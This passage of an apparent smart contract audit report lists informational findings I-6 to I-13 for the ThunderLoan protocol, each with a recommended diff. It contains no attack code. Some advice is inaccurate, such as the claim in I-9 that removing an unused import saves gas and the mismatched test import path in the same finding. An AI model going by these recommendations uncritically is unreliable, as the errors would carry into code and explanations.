[I-6] The `0.8.20` compiler has the `PUSH0` opcode, which is not supported by all chains - and Shanghai

Description: The `PUSH0` opcode is not supported by all chains and EVM versions. To use the `0.8.20` solidity version, the ThunderLoan contracts should only be compiled by EVM version from Shanghai and above.

View this page to see the date in which these compiler versions were released: https://docs.blockscout.com/setup-and-run-blockscout/information-and-settings/evm-version-information

Impact: So long as the protocol is being compiled by and EVM version from Shanghai and above, there should be no impact on the protocol.

If the protocol will be deployed on a chain that doesn't support the `PUSH0` opcode, the protocol will not work as expected, and may not deploy at all.

[I-7] The `ThunderLoan` contract does not implement the `IThnunderLoan` interface.

Description: The `ThunderLoan` contract does not implement the `IThunderLoan` interface, which could lead to confusion for developers who are trying to interact with the protocol.

Impact: This doesn't have a major impact on the protocol, but it could lead to confusion for developers who are trying to interact with the protocol.

Recommended Change: In the `ThunderLoan.sol` contract, add the interface by adding the following lines:

```diff
+   import "../interfaces/IThunderLoan.sol";

-   contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+   contract ThunderLoan is IThunderLoan, Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
    .
    .
    .
}
```

[I-8] The `IThunderLoan::repay` function signature does not match the `ThunderLoan::repay` function signature.

Description: The `IThunderLoan::repay` function signature has a mis-matching type for the `token` parameter than it's intended implementation in the `ThunderLoan` contract.

- `IThunderLoan::repay` has the `token` parameter as `address` type.

```
function repay(address token, uint256 amount) external;
```

- `ThunderLoan::repay` has the `token` parameter as `IERC20` type.

```
function repay(IERC20 token, uint256 amount) public {};
```

If the `IThunderLoan` interface was implemented in the `ThunderLoan` contract, the compiler would throw an error, as the function signatures do not match. As this is not the case, the compiler doesn't complain.

Impact: This could lead to confusion for developers who are trying to interact with the protocol, where they may attempt to pass an `address` to the `repay` function, when it should be an `IERC20` type.

Recommended Change: Change the `IThunderLoan::repay` function signature to match the `ThunderLoan::repay` function signature.

```diff
-    function repay(address token, uint256 amount) external;
+    function repay(IERC20 token, uint256 amount) external;
```

[I-9] Unused import in the `IFlashLoanReceiver` interface could be removed to save gas and improve readability

Description: The `IFlashLoanReceiver` interface imports the `IThunderLoan` interface, but it is not used in the interface.

Impact: This doesn't have a major impact on the protocol, but it will save gas and improve readability.

This is being imported in the `MockFlashLoanReceiver` tests. This is bad practice to import more than 1 interface by importing it in another interface, simply to use in tests. So, it's best to explicitly import the `IThunderLoan` interface in the `MockFlashLoanReceiver` tests, instead of importing it in the `IFlashLoanReceiver` interface.

Recommended Mitigation: In the `IFlashLoanReceiver` interface, remove the following line:

```diff
-    import { IThunderLoan } from "./IThunderLoan.sol";
```

In the `MockFlashLoanReceiver` test (`test/mocks/MockFlashLoanReceiver.sol`), explicitly add the `IThunderLoan` import:

```diff
+    import { IThunderLoan } from "./IThunderLoan.sol";
```

[I-10] Non-descriptive name for the `ThunderLoad::initialize` function parameter `tswapAddress`, which can cause confusion about what the parameter is.

Description: As there is no natspec for the `ThunderLoan::initialize` function, the `tswapAddress` parameter is not descriptive enough to understand what it is.

Recommended Mitigation: Change the `tswapAddress` parameter name to `tSwapPoolFactoryAddress`.

```diff
-   function initialize(address tswapAddress) external initializer
+   function initialize(address tSwapPoolFactoryAddress) external initializer
```

[I-11] The `ThunderLoan::s_feePrecision` variable is a `private storage` variable, but it isn't changed in the contract, so it should be `immutable`.

Description: If a variable is not changed in the contract, it should be marked as `immutable` to save gas and improve readability.

Recommended Mitigation: Change the `ThunderLoan::s_feePrecision` variable to `immutable`.

```diff
-   uint256 private s_feePrecision;
+   uint256 private immutable s_feePrecision;
```

As the variable is prefixed with an `s_`, indicating it's a `storage` variable, it should probably be changed to `i_feePrecision`. However, every instance where the `s_feePrecision` will also need to be changed to `i_feePrecision`.

```diff
-   uint256 private s_feePrecision;
+   uint256 private immutable i_feePrecision;

# And every instance of `s_feePrecision` below should be changed to `i_feePrecision`
```

[I-12] Various function with no natspec comments, which can cause confusion for developers who are trying to interact with the protocol and may cause them to incorrectly guess about what functions and parameters do.

Description: Natspec is important for developers, and if it's not present, someone may misinterpret what a function does, and have unintended consequences for the functions they call.

The following functions are missing natspec comments:

- `IFlashLoanReceiver::executeOperation`
- `ThunderLoan::initialize`
- `ThunderLoan::deposit`
- `ThunderLoan::flashloan`
- `ThunderLoan::repay`
- `ThunderLoan::setAllowedToken`
- `ThunderLoan::getCalculatedFee`
- `ThunderLoan::updateFlashLoanFee`

- `ThunderLoan::isAllowedToken`
- `ThunderLoan::getAssetFromToken`
- `ThunderLoan::isCurrentlyFlashLoaning`
- `ThunderLoan::getFee`
- `ThunderLoan::getFeePrecision`
- `ThunderLoan::_authorizeUpgrade`

[I-13] An Event should be emitted when the `ThunderLoan::s_flashLoanFee` variable is updated from the `ThunderLoan::updateFlashLoanFee` function, to provide more context to off-chain tools.

Description: It's important to emit an event storage variables are updated.

This has no impact on the inner-functionality of the protocol, however it's best practice, and off-chain tools can use this information to index and update how they consume data moving forward.

Recommended Mitigation: In the `ThunderLoan` contract, add a new `event`, and call it at the end of the `ThunderLoan::updateFlashLoanFee`.

```diff
+   event FlashLoanFeeUpdated(uint256 indexed newFee);

    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```